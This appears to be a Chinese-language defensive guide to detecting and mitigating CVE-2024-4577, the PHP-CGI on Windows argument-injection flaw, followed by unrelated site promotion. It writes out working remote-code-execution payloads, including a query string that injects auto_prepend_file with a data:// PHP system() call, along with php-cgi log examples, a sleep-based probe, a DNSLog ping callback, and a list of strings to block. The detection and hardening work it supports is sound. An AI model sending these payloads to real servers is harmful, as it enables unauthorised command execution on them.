cve-2024-4577是php cgi在windows下因best-fit编码转换绕过-d参数防护导致的远程代码执行漏洞,影响php 8.1.25等版本,攻击者通过%ff%00-d、allow_url_include=on等特殊编码序列注入恶意配置执行任意命令。

PHP 8.1.25 本身不自带命令执行漏洞,但存在一个高危操作系统命令注入漏洞(CVE-2024-4577),该漏洞影响 PHP 多个版本(含 8.1.25),攻击者可利用特定字符编码绕过 CGI 参数防护,触发 passthru、system、exec、shell_exec 等函数的远程命令执行。
识别其 payload 的核心不是“通用字符串”,而是观察请求中是否出现刻意构造的、用于绕过 PHP CGI 模式下参数解析限制的特殊编码序列。以下是实用识别方法:
一看:URL 或 POST 参数中是否存在可疑的双字节/编码混淆结构
CVE-2024-4577 的关键在于利用 Windows 系统下 PHP-CGI 对 -d 参数和编码(如 %ff、+、%20、%00)的解析歧义,欺骗 PHP 启动时加载恶意配置或注入命令。典型 payload 特征包括:
出现在查询参数或表单字段中,形如:
?cmd=ls&-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input?a=%ff%00-d+allow_url_include%3don+-d+auto_prepend_file%3ddata://text/plain,<?php system($_GET[1]);?>&1=id-
包含以下任意组合:
- 以 `-d` 开头的键名(如 `-d`, `%ff%00-d`, `+d`, `%20-d`)
- `allow_url_include=on`、`auto_prepend_file=`、`auto_append_file=` 等危险 ini 设置项
- `php://input`、`data://`、`expect://` 等伪协议 + 可控 PHP 代码
- 参数值中混用 URL 编码、空格、NULL 字节、宽字节前缀(如 `%ff%00`)
二查:日志中是否出现非预期的 CGI 启动参数
在 IIS / Apache + PHP-CGI 模式下,若 Web 服务器日志(如 IIS 的 u_ex*.log 或 Apache error_log)中反复出现类似以下记录,高度可疑:
C:\php81\php-cgi.exe -d allow_url_include=on -d auto_prepend_file=php://input C:\php81\php-cgi.exe %ff%00-d auto_prepend_file=data://text/plain,<?php phpinfo();?>
注意:正常 PHP 请求不会主动向 php-cgi.exe 传入 -d 参数;所有 -d 都应来自用户可控输入,属异常行为。
三验:响应内容是否泄露执行痕迹
即使未直接回显命令结果,也可通过间接方式验证:
- 访问带 payload 的 URL 后,返回
HTTP 500但响应体含 PHP 错误(如Warning: Unknown: failed to open stream)、或空白页伴随X-Powered-By: PHP/8.1.25—— 表明 CGI 已被劫持启动; - 使用
time-based探测:构造sleep(5)类 payload(如data://text/plain,<?php sleep(5);?>),观察响应延迟是否稳定增加; - 检查是否成功写入临时文件(如
/tmp/phpXXXXXX)或触发 DNSLog(用system('ping xxx.dnslog.cn'))。
四防:不是识别完就结束,必须立即处置
识别出疑似 payload 后,不能仅做日志告警:
- 紧急升级:PHP 官方已修复该漏洞,升级至 PHP 8.1.29+(或 8.2.20+、8.3.8+);
-
临时缓解:禁用 CGI 模式,改用 PHP-FPM;或在 Web 服务器层(IIS URL Rewrite / Apache mod_rewrite)拦截含
-d、allow_url_include、auto_prepend_file的请求; -
检查代码:确认项目中无直接拼接用户输入调用
system()等函数的行为,尤其注意文件包含、图片处理、PDF 生成等模块。
该漏洞本质是环境配置层面的解析缺陷,而非代码逻辑漏洞,因此识别重点始终落在「请求是否试图篡改 PHP-CGI 启动参数」上。
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!











